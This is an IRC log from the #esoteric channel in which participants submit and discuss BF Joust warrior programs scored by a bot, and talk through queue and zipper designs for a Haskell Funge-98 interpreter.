20:18:46 <Gregor> !bfjoust ogg_interpreted_as_program http://codu.org/tmp/cave-tense-2011-02-07-2.ogg
20:18:59 <ais523> oh no, I've started a meme!
20:19:01 <Gregor> This one's gonna get big points.
20:19:02 <EgoBot> Score for Gregor_ogg_interpreted_as_program: 0.0
20:19:03 <tswett> !bfjoust opulus_1_interpreted_as_program http://www.cis.gvsu.edu/~swettt/music/opl1.pdf
20:19:07 <Gregor> D'AWWWW
20:19:16 <EgoBot> Score for tswett_opulus_1_interpreted_as_program: 0.0
20:19:31 <Gregor> OK, I'm done interpreting stupid crap as programs :P
20:19:53 <ais523> !bfjoust parseerror (])*1000000
20:19:57 <tswett> Okay, let's see what wiggle3 looks like.
20:20:14 <ais523> Gregor: the stupid crap tends to shunt defense progams down the leaderboard, incidentally
20:20:18 <ais523> as they draw with it rather than beat it
20:20:26 <Gregor> ais523: Hyuk
20:20:27 <EgoBot> Score for ais523_parseerror: 10.9
20:20:32 <ais523> wait /what/?
20:20:37 <tswett> ais523: good job!
20:20:51 <Deewiant> ais523: You beat all the self-killers
20:20:53 <quintopia> i guess a program that errors out
20:20:54 <quintopia> is a nop
20:21:05 <ais523> yep, it's interpreted as a nop, it seems
20:21:35 <ais523> Gregor: how does specifically_beat_defend10_and_in_only_one_polarity work? tricking it into suiciding?
20:21:38 <Gregor> I think it only actually fails the parser if the metacommands don't match.
20:21:40 -!- Sgeo has joined.
20:21:59 <Gregor> ais523: No, it just looks for the first decoy, skips the second that you're watching, then depletes the flag.
20:22:06 <ais523> ah
20:22:13 <ais523> why does that only work in one polarity?
20:22:24 <Gregor> Because I'm using -[>-] to look for the decoy
20:23:58 <ais523> you obviously put a lot of thought into that program!
20:24:09 -!- impomatic has joined.
20:24:17 <ais523> hi impomatic
20:24:23 <ais523> quite a lot of BF Joust motion today too
20:24:26 <Sgeo> Yay eating on the computer in public
20:24:45 <impomatic> Hi :-)
20:25:17 <ais523> and a larger hill, in order to avoid certain hill effects and cause others
20:25:20 <Sgeo> Gregor, so it assumes there are 2 decoys, or am I misreading you?
20:25:25 <ais523> we could do with some good old programs submitted
20:25:35 <ais523> Sgeo: there are two decoys in defend10
20:25:38 <Gregor> Sgeo: It assumes there are two decoys because that's how defend10 works :P
20:25:45 <ais523> did you not notice the program name?
20:25:49 <impomatic> ais523: I was playing with this >(-)*8>(+)*8>>>+[<-[>>]<]<< which is supposed to was for a cell to be set to zero but only for a limited time.
20:25:57 <Sgeo> ais523, does this mean my crappy programs might get lower scores?
20:26:07 <ais523> score can't go below 0
20:26:09 <impomatic> Doesn't work very well though :-(
20:26:22 <Sgeo> ais523, I've gotten positive scores for jun
20:26:29 <nescience> what's the length range again?
20:26:32 <ais523> I submitted a new defence program (defend10) that works on a different principle to 7 and 9, it was at the top of the leaderboard for a while
20:26:34 <Sgeo> And in one case, a resubmitted program got a wildly diffrent score
20:26:34 <Gregor> 10-30
20:26:34 <ais523> and 10-30 inclusive
20:26:44 <Sgeo> 0 -> non0
20:28:06 <nescience> oh right, that idea wouldn't work whoops
20:28:29 <Gregor> !bfjoust mind_bogglingly_slow_rush [[>(+)*128..>(-)*128..]+]
20:28:40 <EgoBot> Score for Gregor_mind_bogglingly_slow_rush: 21.6
20:28:45 <Gregor> 8-D
20:29:15 <ais523> the scoring algo gives everything generically higher scores on a larger hill
20:29:27 <ais523> so that's not as impressive as 21.6 would be this morning
20:29:33 <Gregor> Ohyeah X-P
20:29:43 <Sgeo> !bfjoust noop .
20:29:45 <ais523> but wow, is that rush slow
20:29:54 <ais523> Sgeo: quintopia submitted that already
20:29:56 <Sgeo> Oh
20:30:09 <Sgeo> What was the score?
20:30:14 <EgoBot> Score for Sgeo_noop: 10.0
20:30:21 <impomatic> Just reading http://codu.org/eso/bfjoust/in_egobot/ais523_defend10.bfjoust :-)
20:30:59 <ais523> hmm, the hill's still growing
20:31:01 <ais523> I /hope/ it isn't infinite
20:31:15 <Gregor> !bfjoust mind_bogglingly_slow_rush_with_benefits (>)*9-[[+>(+)*128..>(-)*128..-]+]
20:31:21 <impomatic> Why is the hill so big?
20:31:24 <EgoBot> Score for Gregor_mind_bogglingly_slow_rush_with_benefits: 24.7
20:31:27 <Gregor> ais523: It's not, but it's more than double what it was :P
20:31:36 <ais523> so probably 50, then
20:31:41 <ais523> impomatic: we thought it would be more interesting
20:31:50 <Gregor> It will be once there's less garbage on the hill.
20:31:50 <ais523> although it needs to fill with sane programs for that to be a reason
20:32:10 <ais523> !bfjoust attack1 [>[-]+]
20:32:13 <ais523> my first program
20:32:22 <EgoBot> Score for ais523_attack1: 15.3
20:32:31 <Sgeo> ais523, so I should stop participating?
20:32:44 <ais523> Sgeo: nah, the good programs push off the bad ones
20:32:46 <ais523> so insane programs don't hurt
20:32:51 <elliott> !bfjoust x <
20:32:58 <elliott> !bfjoust x [.]
20:32:59 <EgoBot> Score for elliott_x:
20:33:15 <ais523> haha, the defend programs have fallen miles because of all the stupid programs
20:33:17 <quintopia> You got a !
20:33:22 <quintopia> is a good score i think
20:33:24 <ais523> that they draw with rather than beat
20:33:33 <EgoBot> Score for elliott_x: 8.8
20:33:47 <ais523> !bfjoust attack6 (>)*9+[>[-]+]
20:33:50 <Sgeo> Why is that different from noop?
20:33:58 <quintopia> Sgeo: it uses more cpu
20:34:00 <EgoBot> Score for ais523_attack6: 18.7
20:34:05 <ais523> I should make a defend program that gives up waiting after a while and does a mindbogglingly slow rush or something like that
20:34:20 <quintopia> so it can beat other defends?
20:34:23 <quintopia> and stupids?
20:34:25 <ais523> yep
20:35:12 <ais523> on the basis that the opposing program is a defend or a nop if it still hasn't turned up by cycle 100000 or whatever
20:35:23 <elliott> link to hill?
20:35:39 <ais523> http://codu.org/eso/bfjoust/in_egobot/
20:36:10 <impomatic> ais523: tried giving up waiting this morning but it didn't work too well :-(
20:36:13 <nescience> you should make a defend that pushes out as far as it can to trap for faster winnage
20:36:19 <ais523> impomatic: ?
20:36:27 <ais523> nescience: why would winning faster matter?
20:36:36 <nescience> just for fun!
20:36:50 <nescience> and a slight advantage against programs that beat you
20:36:50 <ais523> you could modify chainmail like that pretty easily, but that isn't mine
20:37:23 <ais523> defend7/9/10 wouldn't benefit from that because they use the preinitialised-to-128 cell for its value of 128
20:37:39 <impomatic> ais523: I had a defend-style program that gave up waiting after a while
20:37:43 <nescience> true enough, but you could fix that
20:37:52 <Sgeo> "Left warrior failed to parse, right warrior wins!"
20:37:59 <Sgeo> !bfjoust error [
20:38:01 <ais523> Sgeo: that's some of the junk interpreted as program programs
20:38:10 <Sgeo> Ah
20:38:24 <ais523> [ isn't a parse failure in egojoust, but a nop
20:38:37 <EgoBot> Score for Sgeo_error: 8.1
20:39:07 <Gregor> !bfjoust mind_bogglingly_slow_rush_with_benefits (>)*8-[[+>(+)*128..>(-)*128..-]+]
20:39:18 <EgoBot> Score for Gregor_mind_bogglingly_slow_rush_with_benefits: 27.6
20:39:37 <ais523> Gregor: glad to see you making serious programs
20:39:45 <Deewiant> What's the hill's maximum size now?
20:39:48 <ais523> impomatic: hmm, what about resubmitting shortsword?
20:39:56 <ais523> Deewiant: not stated, but I'm guessing 50
20:40:11 <Gregor> ais523: I can only be bitter about FYB for so long :P
20:40:26 <ais523> $ cat impomatic_shortsword.bj (>++>--)*2(>)*6([-[+]]>)*20
20:40:57 <ais523> (I deleted a newline)
20:41:05 <elliott> <ais523> Sgeo: that's some of the junk interpreted as program programs
20:41:07 <Deewiant> !bfjoust sloth (+)*12((++-)*1024-(--+)*1024)*100(>)*8+([>[-]+])*100
20:41:07 <elliott> program programs?
20:41:18 <Gregor> "junk-interpreted-as-program programs"
20:41:24 <impomatic> !bfjoust shortsword (>++>--)*2(>)*6([-[+]]>)*20
20:41:24 <ais523> elliott: some of the (junk interpreted as program) programs
20:41:31 <elliott> ah
20:41:38 <ais523> impomatic: hmm, was that the first offset clear ever?
20:41:41 <quintopia> ais523: so you'd use ([)*100000 instead of [] as a tripwire?
20:41:50 <Sgeo> !bfjoust nonstop_attack >+[[>+][-]+]
20:41:50 <ais523> quintopia: pretty much
20:41:52 <Deewiant> !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*27
20:41:53 <EgoBot> Score for Deewiant_sloth: 20.6
20:42:00 <ais523> you need to duplicate the bit inside the brackets 100000 times too, though
20:42:04 <ais523> which might annoy the interp
20:42:16 <quintopia> yeah
20:42:32 <ais523> limiting the square bracket nesting depth sounds like it may be a good way to avoid non-BF-like abuses
20:42:34 <ais523> perhaps to 16 or so
20:42:52 <EgoBot> Score for Deewiant_train2: 23.3
20:42:52 <EgoBot> Score for Sgeo_nonstop_attack: 2.3
20:42:53 <EgoBot> Score for impomatic_shortsword: 34.5
20:43:16 <impomatic> ais523: not sure... apparently it was top of the hill with 100% wins on 22 May 2009 though :-)
20:43:29 <Sgeo> Did my program at least do what I intended it to do, even if it was a bad idea?
20:43:54 <quintopia> Sgeo: looks like a suicide to me
20:44:02 <ais523> Sgeo: I doubt it, the [>+] looks very dubious
20:44:04 <elliott> Deewiant: At least I pass Mycology!
20:44:10 * elliott is regretting this code overhaul
20:44:14 <ais523> you basically have to hit a -1 valued decoy to avoid suiciding
20:44:18 <Deewiant> elliott: What, did you do concurrency?
20:44:18 <quintopia> ^
20:44:19 <Sgeo> ooh
20:44:25 <elliott> Deewiant: No.
20:44:26 <Deewiant> DIDN'T THINK SO
20:44:29 <Gregor> !bfjoust glacially_slow_rush (>->+)*4-[[+>(+)*128..>(-)*128..-]+]
20:44:37 <elliott> Deewiant: I tried to move everything over to data-accessor and it's turning into a great big gob of mud.
20:44:42 <Sgeo> What I wanted was to keep going and assume everything's a decoy
20:44:44 <Sgeo> :/
20:44:46 <elliott> Deewiant: Solution: DON'T CLEAN UP UNTIL IT PASSES MYCOLOGY ENTIRELY
20:44:52 <ais523> elliott: you have a backup from before, though, right?
20:44:56 <elliott> ais523: thankfully, yes.
20:45:10 <Sgeo> What about version control
20:45:24 <elliott> Sgeo: What, do you have a scapegoat implementation?
20:45:34 <Sgeo> What?
20:45:36 <Sgeo> Oh
20:45:40 <elliott> No? Then I'm not interested.
20:45:45 <ais523> elliott: you know you can use other VCSes until sg is finished, right?
20:45:53 <elliott> ais523: But they're all irritating.
20:45:58 <ais523> indeed
20:46:00 <Sgeo> You... won't use Version Control unless it's God's own version control? (Where you're God, apparently)
20:46:06 <elliott> Deewiant: So is t totally easy?
20:46:09 <elliott> Sgeo: *ais523's God
20:46:13 <ais523> Sgeo: hey, /I/ invented sg, elliott just thought it was a good idea
20:46:18 <Sgeo> oh, sorry
20:46:18 <ais523> but I don't consider myself God as a result
20:46:26 <Deewiant> Not "totally" the way stuff like + is
20:46:32 <Gregor> (elliott does though)
20:46:39 <Deewiant> (I'd've said v but you managed to get that wrong)
20:46:44 <Gregor> And I'm still mad that your data dir isn't .(unicode goat)
20:46:45 <elliott> [[Creating additional IP's is done with the t "Split" instruction, available in Concurrent Funge-98 only. It causes the current IP to be duplicated, and this duplicate is added to the IP list such that it is executed for the first time before the parent IP is next executed.]]
20:46:48 <elliott> Deewiant: :-D
20:47:05 <elliott> [[When a child IP is borne unto Funge-Space thus, its location, storage offset, and stack are all copied verbatim from the parent IP's. The child IP's delta is reversed (a la r) from its parent's, though.]]
20:47:11 <elliott> Deewiant: It actually advances when created, right?
20:47:15 <ais523> elliott: err, no
20:47:20 <ais523> although everyone interprets it as yes
20:47:39 <ais523> it is actually possible to use non-advancing t without a forkbomb loop, though, although difficult
20:47:42 <impomatic> !bfjoust why_is_this_broken http://pastebin.com/raw.php?i=nq4khGar
20:47:47 <Deewiant> !bfjoust draw >+[]<[+]
20:47:51 <Deewiant> !bfjoust farmhand (+-)*25000(-+)*25000
20:48:07 <elliott> ais523: I'm asking for the common interpretation.
20:48:12 <ais523> impomatic: wow, that's weird; also, [>>]?
20:48:13 <Gregor> Oh nose
20:48:23 <ais523> elliott: it's commonly interpreted as advancing, even though the spec doesn't say that
20:49:00 <elliott> Deewiant: Hmm, is having a "current IP" state sane, or would you pass the IP around everywhere?
20:49:16 <ais523> elliott: the IP list should be a queue
20:49:21 <ais523> and the current IP would be the head of the queue
20:49:22 <quintopia> why is report empty?
20:49:31 <ais523> quintopia: because it's currently running programs
20:49:37 <elliott> ais523: err, I don't see why I should mutate the IP list all the time
20:49:38 <ais523> it only generates when the running programs have finished
20:49:43 <EgoBot> Score for Gregor_glacially_slow_rush: 3.9
20:49:43 <EgoBot> Score for Deewiant_draw: 4.2
20:49:54 <EgoBot> Score for impomatic_why_is_this_broken: 0.4
20:49:55 <ais523> elliott: semantics, I suppose
20:49:58 <EgoBot> Score for Deewiant_farmhand: 9.1
20:50:01 <nescience> !bfjoust test >+>->>>>>>>((-)*384(+)*384)*21
20:50:08 <quintopia> the report generator runs programs...it could wait til it has a new report to clear the old report, couldn't it?
20:50:13 <elliott> ais523: for instance
20:50:22 <impomatic> ais523: it suppose to have 4 cells, zero / count / watch / zero. If decrements count and watches watch and attack when either reaches zero.
20:50:24 <elliott> 1 cell containing a unique ID for the current IP (ip)
20:50:25 <elliott> Only significant for Concurrent Funge. This ID differentiates this IP from all others currently in the IP list.
20:50:29 <elliott> ais523: that would always be 0, if i did it that way
20:50:40 <elliott> ais523: which would make it useless
20:50:50 <impomatic> ais523: dumb idea though :-)
20:50:55 <EgoBot> Score for nescience_test: 1.8
20:51:00 <nescience> lol
20:51:18 <ais523> impomatic: it has merit, but probably not implemented that way
20:51:23 <nescience> !bfjoust test >+>->>>>>>>((-)*384)*21
20:51:29 <nescience> oh crap
20:51:32 <ais523> haha
20:51:33 <nescience> I forgot >
20:51:36 <nescience> no wonder
20:51:40 <Deewiant> elliott: Please don't use list indices: even though it's not specced as such, everybody expects that old IDs don't change when you start a new thread with t :-P
20:51:43 <impomatic> ais523: reimplementing :-)
20:51:46 <nescience> !bfjoust test >+>->>>>>>>(>(-)*384(+)*384)*21
20:51:57 <nescience> also hey, distributed processing guise
20:52:02 <nescience> I'll donate cycles
20:52:06 <EgoBot> Score for nescience_test: 4.3
20:52:06 <EgoBot> Score for nescience_test: 4.3
20:53:23 -!- elliott_ has joined.
20:53:30 <elliott_> <Deewiant> elliott: Please don't use list indices: even though it's not specced as such, everybody expects that old IDs don't change when you start a new thread with t :-P
20:53:35 <elliott_> <elliott> Deewiant: Right
20:53:37 <elliott_> <elliott> So ais523's idea won't work.
20:53:39 <elliott_> <elliott> Deewiant: I'll probably just use list indices and do (length list - index).
20:53:52 <ais523> !bfjoust I_thought_the_scoreboard_had_more_programs_earlier >>>>>>>>(>[>[-]])*21
20:54:02 <EgoBot> Score for ais523_I_thought_the_scoreboard_had_more_programs_earlier: 7.9
20:54:03 <ais523> elliott_: would a thread be removed from the list when it executed @?
20:54:11 <Deewiant> elliott: I don't see how that'll work
20:54:32 <Deewiant> elliott: And ais523's idea works fine if you store the ID in the IP, which is kind of what I hinted at
20:54:35 <nescience> !bfjoust test >+>->>>>>>>(>(-)*384)*21
20:54:39 <elliott_> Deewiant: Oh, fine.
20:54:44 <elliott_> @hoogle Queue
20:54:45 <lambdabot> module Data.Graph.Inductive.Internal.Queue
20:54:45 <lambdabot> Data.Graph.Inductive.Internal.Queue data Queue a
20:54:45 <lambdabot> Data.Graph.Inductive.Internal.Queue queueEmpty :: Queue a -> Bool
20:54:48 <elliott_> >_<
20:54:54 <EgoBot> Score for nescience_test: 1.4
20:54:56 <elliott_> I'LL USE A LIST
20:54:59 <Deewiant> elliott_: Zippers
20:55:02 <nescience> worser lol
20:55:10 <nescience> !bfjoust test <
20:55:15 <elliott_> Deewiant: Wouldn't a list work? Well, I guess I'd need to append every tick, which would be slow.
20:55:18 <nescience> should just be syntax for kill
20:55:19 <oerjan> elliott_: Seq is nice for queues
20:55:30 <elliott_> Deewiant: I'm still vaguely scared of zippers though, although I know they're the derivatives of types.
20:55:34 <ais523> ais523_I_thought_the_scoreboard_had_more_programs_earlier.bfjoust vs nescience_shade.bfjoust: ><<<<<<<<<<<<<<<<<<<> ><<<>>>>>>>>>>>XX<<<> ><<<>>>>>>>>>>>XX<<<> ><<<<<<<<<<<<<<<<<<<>
20:55:34 <Deewiant> It'd work, a zipper just seems natural for something you move through
20:55:40 <ais523> that's nicely polarity-dependent
20:55:42 <elliott_> oerjan: seq from where?
20:55:47 <EgoBot> Score for nescience_test: 0.0
20:55:52 <Deewiant> elliott_: Data.Sequence
20:55:53 <oerjan> @hoogle Seq
20:55:53 <lambdabot> Data.Sequence data Seq a
20:55:53 <lambdabot> Prelude seq :: a -> b -> b
20:55:53 <lambdabot> Control.Parallel.Strategies seqArr :: Ix b => Strategy a -> Strategy (Array b a)
20:56:00 -!- elliott has quit (Ping timeout: 250 seconds).
20:56:19 <ais523> Gregor: scoreboard's at 45?
20:56:33 <quintopia> !bfjoust hmm (>[>>>>>>>>(-)*128])*22
20:57:06 <ais523> quintopia: that's... an 8-cell tripwire
20:57:14 <EgoBot> Score for quintopia_hmm: 4.0
20:57:36 -!- sebbu2 has changed nick to sebbu.
20:58:02 <cheater00> http://www.asciiartfarts.com/20110115.html
20:58:31 <quintopia> ais523: i was hoping it would beat wiggle3, but i must have missed something that one does
20:58:58 <Sgeo> Gah, Google is useless for grepping #esoteric logs
20:59:01 * Sgeo angers
20:59:10 <elliott_> hg clone ...
20:59:15 <elliott_> grep 'foo' *
20:59:35 <quintopia> wget works too :P
20:59:49 <Sgeo> Oh, site:codu.org works
20:59:56 <Sgeo> Instead of tunes.org
20:59:58 <elliott_> >_<
20:59:58 * Sgeo is lazy
21:00:05 <elliott_> JUST DOWNLOAD THE REPOSITORY
21:00:33 <elliott_> Deewiant: What's a list zipper again?
21:00:38 <elliott_> a * [a] * [a]?
21:01:07 <Deewiant> Yes, typically ([a],a,[a])
21:02:16 <oerjan> Sgeo: yeah robots.txt has a Disallow: /~nef/logs/
21:02:21 <elliott_> Hmm, so I need "further :: ([a],a,[a]) -> ([a],a,[a])".
21:02:24 <elliott_> It needs to be cyclic, right?
21:02:49 <Sgeo> That's bizarre, especially considering I got some #haskell logs
21:03:01 <Deewiant> elliott_: If you create it using cycle you just need [a], don't you
21:03:03 <Sgeo> http://www.google.com/search?rlz=1C1TSND_enUS401US401&sourceid=chrome&ie=UTF-8&q=Atomo+site:tunes.org
21:03:07 <oerjan> yeah there are some occasional instances...
21:03:10 <Sgeo> Well, bbl
21:03:11 <elliott_> Deewiant: Don't I need to know the current number of IPs for something?
21:03:19 <Deewiant> Can't you store that separately? :-P
21:03:20 <ais523> !bfjoust slightly_less_stupid_defender_clearer [>[-.]+]
21:03:27 <elliott_> Deewiant: :/
21:03:32 <EgoBot> Score for ais523_slightly_less_stupid_defender_clearer: 26.8
21:03:32 <elliott_> Deewiant: That seems a bit ugly.
21:04:20 <elliott_> oerjan: What was that about Seq? :-P
21:05:32 -!- myndzi\ has changed nick to myndzi.
21:05:42 <myndzi> right so how do i get this version control stuff on windows
21:05:47 <oerjan> elliott_: Seq is a slightly restricted finger tree structure, constant whatchamacallit time appending at both ends
21:05:50 <elliott_> myndzi: Step one, install Linux.
21:05:52 <elliott_> Sorry.
21:05:55 <elliott_> I'm such a troll.
21:05:58 <myndzi> ,,|,_
21:06:05 <myndzi> :P
21:06:09 <elliott_> Step two, http://mercurial.selenic.com/
21:06:11 <myndzi> i know it works because it's on my oldass laptop
21:06:11 <elliott_> Step three, http://mercurial.selenic.com/
21:06:13 <elliott_> Step four, http://mercurial.selenic.com/
21:06:15 <elliott_> Step five, http://mercurial.selenic.com/
21:06:24 <oerjan> (it doesn't support FingerTree's general Monoid indexing
21:06:33 <elliott_> oerjan: hm can i do a cyclic queue with it :-P
21:06:45 <myndzi> the next question is going to be, "how do i download everything"
21:07:00 <oerjan> elliott_: um a cyclic queue is just appending after you pop off the beginning...
21:07:05 <oerjan> so sure
21:07:07 <impomatic> !bfjoust broken http://pastebin.com/raw.php?i=XVZqenNB
21:07:09 <elliott_> myndzi: hg clone someurliforgot-askgregor
21:07:09 <myndzi> and/or browse it
21:07:11 <elliott_> oerjan: well yeah
21:07:14 <myndzi> mk
21:07:15 <EgoBot> Score for impomatic_broken: 2.3
21:07:50 <ais523> Gregor: look at the line numbered 37 at the bottom on the scoreboard
21:07:56 <ais523> it has "nothing changed" in the middle of it
21:08:38 <myndzi> oh hey it looks like i already had it
21:08:41 <myndzi> i thought i only did it on my laptop
21:08:43 -!- Sgeo has quit (Ping timeout: 255 seconds).
21:08:48 <impomatic> !bfjoust broken http://pastebin.com/raw.php?i=vkwD6XRB
21:08:58 <EgoBot> Score for impomatic_broken: 2.3
21:09:15 <myndzi> !bfjoust keke2 ->>>>>>>>>(>[(-.+(-.)*256(+.)*256>)*20])*20
21:09:23 <EgoBot> Score for myndzi_keke2: 29.5
21:09:41 <myndzi> !bfjoust allornothing >>(+)*19>(-)*19>>>>>>>>>>>(>(-)*127-.-.)*21
21:09:48 <elliott_> oerjan: hm i don't actually see a simple way to pop off a Seq
21:09:49 <elliott_> oh wiat
21:09:50 <EgoBot> Score for myndzi_allornothing: 12.5
21:09:51 <elliott_> *wait
21:09:53 <elliott_> do you use viewl/viewr?
21:09:55 <ais523> myndzi: is that a deliberate minlength overshoot?
21:09:58 <oerjan> elliott_: yep
21:10:07 <myndzi> ais523: the second? yeah
21:10:11 <elliott_> oerjan: er, but how do you turn the view back
21:10:19 <myndzi> you don't need to win the smallest ones to win, it was supposed to be faster this way
21:10:30 <ais523> indeed
21:10:34 <ais523> and that used to be a valid strategy
21:10:40 <ais523> nowadays, it mostly seems to hurt rather than help
21:10:42 <myndzi> yeah, i'm just seeing how some old ones perform
21:10:45 <ais523> yep
21:10:49 <myndzi> also putting stuff on the hill
21:10:52 <myndzi> now how do i get at the archives
21:10:58 <myndzi> what's the hg url
21:11:04 <myndzi> and how do i like, search for stuff lol
21:11:10 <ais523> it's fun seeing my defend programs rise back through the ranking, anyway
21:11:13 <elliott_> myndzi: um when you check it out it just becomes a directory
21:11:17 <ais523> also, VCs aren't designed to be particularly searchable
21:11:22 <elliott_> you can specify a certain revision if you want
21:11:25 <elliott_> hg log might come in handy
21:11:25 <ais523> *VCSes
21:11:33 <elliott_> myndzi: the url is just the directory with all the warriors in
21:11:39 <myndzi> in_egobot
21:11:48 <oerjan> elliott_: <| and |>
21:11:57 <impomatic> !bfjoust broken http://pastebin.com/raw.php?i=Up0gHB7U
21:12:07 <EgoBot> Score for impomatic_broken: 2.2
21:12:07 <elliott_> oerjan: hmm
21:12:13 <impomatic> :-(
21:12:17 <ais523> !bfjoust death_to_no_ops (>)*8(>(-.)*256)*21
21:12:24 <elliott_> oerjan: i think i'm getting headache-clouded again >_<
21:12:29 <elliott_> hmmm
21:12:33 <myndzi> oshi, i just deltreed all the old stuff
21:12:36 <myndzi> but i can get it again i guess
21:12:37 <oerjan> elliott_: you probably don't want to turn back the _same_ view...
21:13:02 <impomatic> !bfjoust broken http://pastebin.com/raw.php?i=CxAYXwkA
21:14:04 <elliott_> oerjan: maybe figuring out how to do this as a zipper would be less confusing ;D
21:14:11 <myndzi> why is the command called 'hg' if the software is called mercurial anyway
21:14:18 <ais523> chemical symbol for mercury
21:14:19 <oerjan> elliott_: lessee you could do something like rotate s = case viewl s of a :< r -> r |> a
21:14:28 <myndzi> oh right
21:14:32 <myndzi> i feel like i lost nerd points there
21:14:32 <myndzi> :P
21:14:36 <quintopia> !bfjoust flyingleap >(+)*40>->+(>[(>)*6(+)*3[-]>(-)*3[+]>[(-)*128[-]>+])*20
21:14:44 <elliott_> oerjan: rotate s | a :< r <- viewl s -> r |> a
21:14:45 <oerjan> pops off left, appends to right
21:14:47 <elliott_> oerjan: CONFUSION SET TO MAXIMUM
21:15:04 -!- iconmaster has joined.
21:15:06 <elliott_> oerjan: shouldn't it pop off right, append to left, i generally think of movement as going left to right :D
21:15:44 <oerjan> elliott_: well you'd be running the leftmost IP next wouldn't you? so you'd pop that off.
21:15:59 <impomatic> !bfjoust sicilian_defence http://pastebin.com/raw.php?i=2eubcLyw
21:16:11 <elliott_> oerjan: surely i'd run the ip just to the right
21:16:20 <elliott_> and then at the end go back to the leftmost ip
21:16:24 <elliott_> [a,b,c,d] -> a b c d a b c d ...
21:16:42 * iconmaster has came up with around 5,000 commands for Onecode! Yay repition.
21:16:46 <myndzi> impomatic: why do you use +.
21:16:48 <oerjan> elliott_: um the point is after you run a, the new list will be [b, c, d, a]
21:16:58 <elliott_> oerjan: right
21:17:01 <elliott_> and?
21:17:14 <oerjan> to do that you pop a off the left and append it to the right.
21:17:14 <ais523> myndzi: ++ wouldn't leave the flag at 0 for two cycles
21:17:21 <myndzi> it has to be two cycles?
21:17:29 <myndzi> i totally forgot that
21:17:34 <ais523> yep
21:17:37 <myndzi> or else it changed and i didn't know
21:17:37 <myndzi> haha
21:17:44 <impomatic> myndzi: where, in the first line or the others?
21:17:49 <myndzi> the others
21:17:54 <myndzi> ais answered my question though
21:17:58 <ais523> impomatic: how does that differ from chainmail? use of the flag rather than a separate cell for locking?
21:18:00 <elliott_> oerjan: hm right
21:18:17 <elliott_> oerjan: but, otoh, I rarely want to pop
21:18:24 <elliott_> oerjan: usually I'd just want to look at the current one, and then at the end rotate it
21:19:01 <impomatic> ais523: yes, that's all. Just checking I haven't broken something (I'm still trying to limit the time it waits)
21:19:38 <ais523> impomatic: it loses to NOPs and to defence programs
21:19:40 <ais523> so it seems broken
21:20:20 <EgoBot> Score for ais523_death_to_no_ops: 16.9
21:20:20 <EgoBot> Score for impomatic_broken: 2.1
21:20:31 <elliott_> oerjan: so what's "head" on a seq?
21:20:32 <EgoBot> Score for impomatic_sicilian_defence: 0.0
21:20:32 <EgoBot> Score for quintopia_flyingleap: 1.1
21:20:49 <elliott_> headS s | a Seq.:< _ <- Seq.viewl s = a?
21:21:18 <oerjan> elliott_: the a in a :< r ?
21:21:27 <elliott_> oerjan: so (headS s | a Seq.:< _ <- Seq.viewl s = a)
21:21:49 -!- iconmaster has quit (Quit: Rooms • iPhone IRC Client • http://www.roomsapp.mobi).
21:22:08 -!- iconmaster has joined.
21:22:11 <oerjan> yeah
21:22:52 <quintopia> aw the scoreboard got cut off?
21:23:15 <oerjan> elliott_: mind you i don't know whether a zipper (i.e. two lists) would be less efficient in practice. it does have the need to reverse everything each time you get to the end...
21:23:29 -!- iconmaster has quit (Client Quit).
21:23:48 <elliott_> modifyCurrentIP :: (IP -> IP) -> Shiro ()
21:23:49 <elliott_> modifyCurrentIP f = modify $ \st ->
21:23:49 <elliott_> case Seq.viewl (ips st) of
21:23:49 <elliott_> ip Seq.:< ips -> st{ ips = f ip Seq.|> ips }
21:23:49 <elliott_> "yikes"
21:23:49 <oerjan> but fingertrees are probably pretty heavyweight
21:23:56 <quintopia> WHY IS THE REPORT TAKING SO LONG TO FINISH WRITING
21:23:58 <elliott_> they are?
21:24:21 <elliott_> "the Yi text editor specializes finger trees to finger strings for efficient storage of buffer text"
21:24:24 <elliott_> oerjan: can't be that heavy-weight :-D
21:24:34 <ais523> quintopia: myndzi's spamming test programs in PM
21:24:45 <oerjan> elliott_: well heavier than lists
21:24:51 <impomatic> !bfjoust sicilian_defence http://pastebin.com/raw.php?i=HHuDwWmq
21:24:53 <elliott_> data FingerTree a
21:24:54 <elliott_> = Empty
21:24:54 <elliott_> | Single a
21:24:54 <elliott_> | Deep {-# UNPACK #-} !Int !(Digit a) (FingerTree (Node a)) !(Digit a)
21:24:59 <elliott_> oerjan: doesn't seem excessively heavy at least
21:24:59 <EgoBot> Score for impomatic_sicilian_defence: 0.0
21:25:07 <myndzi> yeah, i should just get the local EXE or something
21:25:08 <quintopia> ais523: i want to know if flyingleap beat wiggle3 ever.
21:25:14 <elliott_> viewl:: Seq a -> ViewL a
21:25:14 <elliott_> viewl (Seq xs)= case viewLTree xs of
21:25:14 <elliott_> Nothing2 -> EmptyL
21:25:14 <elliott_> Just2 (Elem x) xs' -> x :< Seq xs'
21:25:29 <elliott_> (|>):: Seq a -> a -> Seq a
21:25:29 <elliott_> Seq xs |> x= Seq (xs `snocTree` Elem x)
21:25:33 <elliott_> oerjan: viewl and (|>) look simple enough
21:25:58 <Gregor> Nobody's commented on how awesome my new concise report format is :(
21:26:06 <ais523> Gregor: I noticed, it's awesome
21:26:16 <ais523> impomatic: sicilian defence seems to be suiciding, but I can't see why
21:26:31 <elliott_> link?
21:26:50 -!- myndzi has changed nick to myndzi\.
21:27:13 <ais523> http://codu.org/eso/bfjoust/in_egobot/report.txt
21:27:24 <myndzi\> ah sorry i may have overwritten that
21:27:36 <myndzi\> i thought i already nuke this one off but had to retry
21:27:38 -!- myndzi\ has changed nick to myndzi.
21:29:09 <elliott_> modifyCurrentIP :: (IP -> IP) -> Shiro ()
21:29:09 <elliott_> modifyCurrentIP f = modifyIPs $ \is ->
21:29:09 <elliott_> case Seq.viewl is of
21:29:09 <elliott_> ip Seq.:< is' -> is' Seq.|> f ip
21:29:15 <elliott_> oerjan: is that correct? it's suspiciously close to your "rotate"
21:29:54 <oerjan> elliott_: well you'd always want to rotate after you've finished with an IP
21:30:16 <elliott_> oerjan: modifyCurrentIP can happen without the IP's tick finishing...
21:30:30 <elliott_> oerjan: is it impossible to just change the head of this queue?
21:30:32 <elliott_> without rotating?
21:30:43 <oerjan> elliott_: of course not, use <| instead
21:30:56 <elliott_> oerjan: what do you mean?
21:31:16 <oerjan> ip Seq.:< is' -> f ip Seq.<| is'
21:31:55 <elliott_> oerjan: how slow's that :P
21:32:12 <oerjan> elliott_: should be about the same as rotating?
21:32:26 <elliott_> oerjan: okay
21:32:39 <elliott_> oerjan: ideally i would process the ip and rotate simultaneously right?
21:32:45 <oerjan> yeah
